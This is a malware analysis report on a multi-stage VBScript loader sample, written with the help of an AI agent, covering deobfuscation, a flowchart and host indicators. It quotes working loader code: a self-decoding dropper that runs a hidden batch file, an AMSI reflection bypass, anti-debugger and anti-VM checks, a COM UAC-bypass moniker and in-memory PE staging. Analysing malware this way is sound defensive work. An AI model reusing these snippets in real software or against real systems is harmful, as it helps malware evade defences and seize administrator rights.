Source
- Malware Bazaar: https://bazaar.abuse.ch/sample/0d71bedbee7358b2ef19cff4d8293749caba871a6470983f1f07e3901aeb2398/
- File type: VBS
- Size: ~2.9 MB
Analysis
Obfuscation
There were various forms of obfuscation used in the VBScript.
- Comments:
- This sample was particularly interesting because the fragmented comments across the file contained the embedded payload. Removing these comments made the loader code more visible.
'VJDSIRWE81a4a2a9aee1a...
'VJDSIRWE848392908c90...
- String fragmentation:
Set sMTC=WScript.CreateObject("WScript.Sh" & "ell")
Set fATX=WScript.CreateObject("Scripting.File" & "SystemObject")
Deobfuscation
Utilities: https://github.com/nikhilh-20/re_tools/tree/main/vbs
> python .\vbs_strip_comments.py --input C:\Users\Ashura\Desktop\0d71bedbee7358b2ef19cff4d8293749caba871a6470983f1f07e3901aeb2398.vbs --output C:\Users\Ashura\Desktop\0d71bedbee7358b2ef19cff4d8293749caba871a6470983f1f07e3901aeb2398_pass1.vbs
{"changed":2797,"comment_lines_removed":2797,"input_bytes":2892203,"output_bytes":1033,"output_path":"C:\\Users\\Ashura\\Desktop\\0d71bedbee7358b2ef19cff4d8293749caba871a6470983f1f07e3901aeb2398_pass1.vbs"}
> python .\vbs_fold_concat.py --input C:\Users\Ashura\Desktop\0d71bedbee7358b2ef19cff4d8293749caba871a6470983f1f07e3901aeb2398_pass1.vbs --output C:\Users\Ashura\Desktop\0d71bedbee7358b2ef19cff4d8293749caba871a6470983f1f07e3901aeb2398_pass2.vbs
{"changed":5,"input_bytes":1033,"output_bytes":993,"output_path":"C:\\Users\\Ashura\\Desktop\\0d71bedbee7358b2ef19cff4d8293749caba871a6470983f1f07e3901aeb2398_pass2.vbs"}
Functionality
Prompt
/malware-analysis Analyze @C:\Users\Ashura\Desktop\0d71bedbee7358b2ef19cff4d8293749caba871a6470983f1f07e3901aeb2398_pass2.vbs. Write report in markdown format into @report.md It should contain the below sections:
1. Executive summary
2. Details - avoid variable names granularity. retain behavioral specifics like created folder names, C2 contact, etc.
3. IOCs
Reference the source code when stating functionality. Like:
```<source_code>```
<functionality>
Also look at @C:\Users\Ashura\Desktop\0d71bedbee7358b2ef19cff4d8293749caba871a6470983f1f07e3901aeb2398.vbs to see the payload marker.
Use multiple Haiku sub-agents to confirm your findings. Use web search to ground your facts and assumptions.
Flowchart Prompt
Based on @report.md, can a Mermaid flowchart be written into FLOW.mmd? Keep the flowchart in natural language. Avoid variable name granularity. You can retain created folder names and contacted C2
Flowchart
flowchart TD
A["VBScript runs"] --> B["Read own script file line by line"]
B --> C["Decode lines hidden as fake comments (hex decode + XOR)"]
C --> D["Write decoded data to a new batch file in a folder disguised as a Windows cache directory\n(%LOCALAPPDATA%\Microsoft\Windows\Caches\[8 random hex chars].cmd)"]
D --> E["Launch the batch file silently, hidden window"]
E --> F["Batch script starts (obfuscated via character-substitution tricks)"]
F --> G{"Already running as a relaunched / elevated instance?"}
G -- "No, first run" --> H["Self-read own file for hidden Base64 blocks disguised as comment lines"]
H --> I["Decode + run 1st embedded PowerShell stage:\nset up native Windows API access via .NET reflection;\nprepare helper to request elevated COM access"]
I --> J["Decode + run 2nd embedded PowerShell stage:\nhide the console window"]
J --> K["Self-read again for two more hidden blocks"]
K --> L["Block 1: bypass AMSI\n(patch Windows Defender's script-scanning interface in memory)"]
K --> M["Block 2: define AES decryption + decompression helper functions"]
M --> N["Self-read again for further hidden, encrypted blocks"]
N --> O{"Anti-analysis checks:\ndebugger attached? monitoring/analysis tools running?\nrunning inside a virtual machine?"}
O -- "Detected" --> P["Exit silently — no further action"]
O -- "Not detected" --> Q["Attempt UAC bypass via COM elevation trick to relaunch the batch file with administrator rights"]
Q --> R["Set 'already elevated' flag for the relaunched instance"]
R -.-> G
G -- "Yes, relaunched instance" --> S["Skip elevation + anti-analysis steps, proceed directly"]
S --> T["Decrypt the final payload block (AES decryption + decompression)"]
T --> U["Reserve executable memory at the standard default executable-image address"]
U --> V["Map and run the final payload entirely in memory — no file written to disk for this stage"]
V --> W["No command-and-control domain, IP, or URL was observed anywhere in this analysis"]
Report
Executive Summary
The analyzed file is a VBScript-based, multi-stage, mostly-fileless malware loader. At a high level, the chain works as follows:
- VBScript loader: reads its own script file line by line, extracts lines disguised as comments, hex-decodes and single-byte-XOR-decrypts them, and writes the result to a new batch (
.cmd) file in a folder crafted to look like a legitimate Windows cache directory (%LOCALAPPDATA%\Microsoft\Windows\Caches). It then runs that batch file silently (hidden window) viacmd.exe. - Batch script: itself obfuscated (character-substitution technique), it repeats the same “hide payload as comments in myself” trick to conceal five-plus embedded PowerShell stages, encoded with layered Base64 → XOR → GZip/compression, sometimes additionally AES-256-CBC encrypted.
- PowerShell stages progressively: (a) set up native Windows API access via .NET reflection, (b) hide the console window, (c) bypass AMSI (Windows Defender’s script-scanning interface) by patching it in memory via reflection, (d) run anti-analysis / anti-sandbox checks (debugger detection, security-tool/analysis-tool process detection, VM vendor detection) and abort if any are triggered, (e) attempt a UAC bypass using the publicly documented
CMSTPLUA/ICMLuaUtilCOM auto-elevation technique, and (f) decrypt and reserve executable memory at the classic default PE image base (0x400000), consistent with manually mapping and running a final payload entirely in memory, without dropping it to disk.
No network command-and-control (C2) traffic, URL, or IP address was found in any of the layers examined — this appears to be a static/local loader chain; delivery/retrieval of any additional payload beyond what is embedded in the sample itself was not observed. The final, deepest-encrypted payload blob (a multi-hundred-KB AES-encrypted block, internally tagged JSDUNV) was not fully decrypted as part of this analysis; based on the surrounding code (manual memory allocation at a PE base address, VirtualAlloc/VirtualFree P/Invoke setup), it is assessed with high confidence to be a Windows executable (PE) intended for in-memory/reflective execution — i.e., the final “real” malware payload.
Details
Stage 1 — VBScript self-decoding dropper
The loader defines a small routine that hex-decodes a string two characters at a time and XORs each resulting byte against a fixed key, writing the decoded output to a file stream in 4096-character chunks:
Sub rMTH(oXENFE,hQMOCM,kQDMDO)
Dim jPHMPG,wEVZ,eYVJ,nLGOBU
wEVZ="":nLGOBU=0
For jPHMPG=1 To Len(hQMOCM) Step 2
eYVJ=CByte("&H" & Mid(hQMOCM,jPHMPG,2)) Xor kQDMDO
wEVZ=wEVZ & Chr(eYVJ)
nLGOBU=nLGOBU+1
If nLGOBU>=4096 Then oXENFE.Write wEVZ:wEVZ="":nLGOBU=0
Next
If nLGOBU>0 Then oXENFE.Write wEVZ
End Sub
This is a generic hex-decode + single-byte-XOR decryptor used throughout the rest of the script to unwrap hidden data.
The script then sets up its environment and a “marker” string that begins with a single quote — making any line that starts with it a valid VBScript comment, which is how the encoded payload hides in plain sight inside the file:
pHRXH="'VJDSIRWE"
kQDMDO=193
mTYI=WScript.ScriptFullName
uIVCB=sMTC.ExpandEnvironmentStrings("%LOCALAPPDATA%") & "\Microsoft\Windows\Caches"
If Not fATX.FolderExists(uIVCB) Then fATX.CreateFolder uIVCB
dQFG=fATX.BuildPath(uIVCB,Right("00000000" & Hex(CLng(Timer*1000) And &HFFFFFFF),8) & ".cmd")
This creates (if absent) the folder %LOCALAPPDATA%\Microsoft\Windows\Caches — a name deliberately chosen to resemble a legitimate Windows/browser cache location — and picks an output filename made of 8 pseudo-random hex characters derived from the system timer, with a .cmd extension. This avoids a static, predictable dropped filename.
Set oXENFE=fATX.OpenTextFile(dQFG,2,True)
Set iYGXH=fATX.OpenTextFile(mTYI,1)
Do Until iYGXH.AtEndOfStream
lGNVM=iYGXH.ReadLine
If Left(lGNVM,Len(pHRXH))=pHRXH Then rMTH oXENFE,Mid(lGNVM,Len(pHRXH)+1),kQDMDO
Loop
iYGXH.Close
oXENFE.Close
sMTC.Run "cmd.exe /c """ & dQFG & """",0,False
The script opens the new .cmd file for writing and opens its own script file for reading (WScript.ScriptFullName), walks through every line, and for every line beginning with the 'VJDSIRWE marker, strips the marker and decodes the remainder (hex + XOR key 193/0xC1) into the .cmd file. It then runs the resulting batch file via cmd.exe /c, with window style 0 (hidden) and False (does not wait for it to finish) — i.e., the batch file runs invisibly and independently of the VBScript.
We decoded the embedded payload from the original file using the exact algorithm above (hex-decode, XOR 0xC1) and confirmed it resolves to a Windows batch script beginning:
@echo off
The full decoded batch script (1,431,600 bytes) has been saved alongside this report as payload.cmd.
Stage 2 — Obfuscated batch dropper/loader
The Batch payload opens with a self-detection gate using an environment variable as a “have I already run once” flag:
@echo off
if defined WEOYDIUGORFR goto XWGFDM
cd /d "%~dp0"
:XWGFDM
setlocal EnableDelayedExpansion
if defined WEOYDIUGORFR goto XHXILV
if /i "%~1"=="OWCTVHU" goto XHXILV
WEOYDIUGORFR is set by a later relaunch of the same batch file after a privilege-escalation attempt (see 2.4), so this lets the script skip its initial setup/elevation logic the second time it runs.
Throughout the file, command and argument strings are not written directly — instead the script builds them one character at a time by indexing into scrambled “alphabet” strings:
set "OYIDEQI=XPT1d_9qstx(38W{)LgQVKeroAU}M2pNIRcjvyFCf0nhbza]iH5JSO[E7B4m-$6GDkZulwY"
set "CARBJN=!OYIDEQI:~52,1!!OYIDEQI:~37,1!!OYIDEQI:~8,1!!OYIDEQI:~9,1!!OYIDEQI:~22,1!!OYIDEQI:~59,1!!OYIDEQI:~33,1!!OYIDEQI:~24,1!!OYIDEQI:~24,1!!OYIDEQI:~9,1!"
Each set line above picks single characters out of the scrambled string by position to spell out an otherwise-plain command name (in this case, ultimately resolving to %COMSPEC%/similar). This is a well-known, tool-generated batch-obfuscation style (documented publicly as used by obfuscation engines such as BatCloak, which is packaged with the “Jlaive” builder and is reported to evade the majority of antivirus engines by producing structurally unique output per build) rather than a hand-written technique.
Hidden within the same file, disguised as batch comments (::), are dozens of large blocks of Base64-encoded, encrypted/compressed data, each block tagged with its own short random marker, e.g.:
::VRITPBlmNVRTNY4rPABqYNDGerOdmAgqvmbcxWY/Vqu0hgdK2cVXkhf5Z245+iOSMBnyLUDlVCYJOzSIozQeMi7lDA8zQ...
The batch script (via its embedded PowerShell stages, below) reads its own file the same way the original VBScript did — scanning every line for a specific ::TAG prefix, stripping the prefix, and concatenating the remainder — to reassemble each hidden blob before decoding it.
Stage 3 — Embedded PowerShell: privilege escalation setup
The first embedded PowerShell blob (internally tagged QQZSTV) is plain Base64 (no additional encryption). Decoded, it uses .NET Reflection.Emit to dynamically define P/Invoke bindings to kernel32.dll (GetModuleHandle, GetProcAddress) and ole32.dll (CoInitializeEx, CoUninitialize, CoGetObject, IIDFromString) entirely in memory, without Add-Type (which avoids leaving a compiled-assembly artifact on disk and avoids some static signatures). It then defines a function that uses these to request a specific COM elevation moniker:
We recovered the exact (XOR-obfuscated in the script) values passed to this logic:
- Requested interface IID:
{6EDD6D74-C007-4E75-B76A-E5740995E24C} - Elevation moniker:
Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}
This is the publicly documented UAC-bypass-via-COM-elevation-moniker technique (associated with the ICMLuaUtil interface exposed by the CMSTPLUA CLSID {3E5FC7F9-9A51-4367-9063-A120244FBEC7}): Windows auto-elevates this particular COM object without a UAC prompt, and its ShellExec method can be invoked to launch an arbitrary file/command with administrator rights. The malware’s wrapper function takes a $file and $argStr and, if the current user is not already an administrator, uses this elevated COM object to relaunch itself.
Stage 4 — Embedded PowerShell: console hiding + AMSI bypass
A second embedded blob (tagged APUULENA, GZip + single-byte XOR encoded) hides the current console window using GetConsoleWindow/ShowWindow/SetWindowPos P/Invoke calls, then self-reads the batch file again for two further tagged blobs, MQREMO and YAWDGG (GZip + XOR-154 encoded), executing each as a PowerShell script block.
The MQREMO blob, decoded, is a self-contained AMSI bypass:
$AOJZXMOC=$null;foreach($BJVODTPY in [AppDomain]::CurrentDomain.GetAssemblies()){try{$AOJZXMOC=$BJVODTPY.GetType($NXGTRAIY);if($AOJZXMOC){break}}catch{}};
if($AOJZXMOC){
$DJQFCWCM=$AOJZXMOC.GetField($EULHFMPI,[System.Reflection.BindingFlags](36+4));
if($DJQFCWCM){$DJQFCWCM.SetValue($null,$true)};
...
}
Decoding the type/field name arrays it builds at runtime shows $NXGTRAIY = System.Management.Automation.AmsiUtils, $EULHFMPI = amsiInitFailed, and two further fields decoded as amsiContext and amsiSession. This is the well-known, publicly documented AMSI reflection bypass (first published in 2016, credited to Matt Graeber): setting AmsiUtils.amsiInitFailed to $true (and clearing the related context/session fields for robustness) causes the PowerShell host to silently skip AMSI (Windows Defender / any registered AV) scanning of all subsequent script content for the remainder of the process’s life — used broadly across the malware landscape rather than tied to one family.
Stage 5 — Embedded PowerShell: anti-analysis checks and in-memory payload staging
The YAWDGG blob, decoded, first defines two helper functions — one performing AES-256-CBC/PKCS7 decryption, one performing GZip decompression — then self-reads the batch file a third time for five more tagged blobs: KTFNOH, VRITPB, JSDUNV, plus two small integer flags, OQWENG (found to be 0) and ELZCYA (found to be 23).
Before touching any of that data, it runs a battery of anti-analysis checks gated behind the ELZCYA flag:
if(($YWMZOALFTSOPMTKXPUOXIEYDV -band 2) -and -not $env:WEOYDIUGORFR){
if([System.Diagnostics.Debugger]::IsAttached){exit 1};
try{
if(Get-Process -Name MsSense,Wireshark,procmon,fiddler,x64dbg,x32dbg,ollydbg -EA SilentlyContinue){exit 1}
}catch{};
try{
$cs=Get-CimInstance Win32_ComputerSystem -EA Stop;
if($cs.Manufacturer -match 'VMware|VirtualBox|QEMU|Xen|innotek|Microsoft Corporation' -and $cs.Model -match 'Virtual|VMware|VirtualBox'){exit 1}
}catch{};
}
With ELZCYA = 23 (binary 10111), the bit-2 check (23 -band 2 = 2, truthy) is active, so on a fresh run (before WEOYDIUGORFR is set) the script will silently exit if:
- a debugger is attached to the process,
- any of
MsSense(Microsoft Defender for Endpoint sensor),Wireshark,procmon,fiddler,x64dbg,x32dbg, orollydbgare running, or - the machine reports as a VMware, VirtualBox, QEMU, Xen, or Hyper-V (“Microsoft Corporation” manufacturer + “Virtual*” model) virtual machine.
The script then decodes a hardcoded AES-256 key and IV (each individually XOR-obfuscated with a single byte, 61, inside the script) and uses them, together with the helper functions defined earlier, to decrypt the small KTFNOH blob (Base64 → AES-256-CBC decrypt → GZip decompress).
Finally, it sets up P/Invoke bindings to kernel32’s VirtualAlloc/VirtualFree and allocates memory at a fixed address:
$_peBase=New-Object IntPtr 4194304;
[VHQABLYQPQW.CVOBEWJRJWJ]::VirtualFree($_peBase,[UIntPtr]::Zero,0x8000)|Out-Null;
[VHQABLYQPQW.CVOBEWJRJWJ]::VirtualAlloc($_peBase,[UIntPtr][uint64]0x90000,0x2000,4)|Out-Null;
4194304 decimal is 0x400000 — the classic default preferred image base for a 32-bit Windows PE executable — and 0x90000 (~590 KB) is reserved there. This pattern (free whatever’s mapped at the PE’s own preferred base, then reserve/commit memory at that exact address) is characteristic of manual/reflective PE mapping: unpacking a PE executable and loading it directly into a process’s memory without ever writing it to disk or invoking the normal Windows PE loader. This strongly indicates that the large remaining encrypted blob (JSDUNV, several hundred KB of Base64) is the final payload — a Windows executable — intended to run entirely in memory.
IOCs
- Host
| Type | Value | Notes |
|---|---|---|
| Dropped file path pattern | %LOCALAPPDATA%\Microsoft\Windows\Caches\<8-hex-chars>.cmd |
Folder created if absent; filename derived from Timer()*1000 |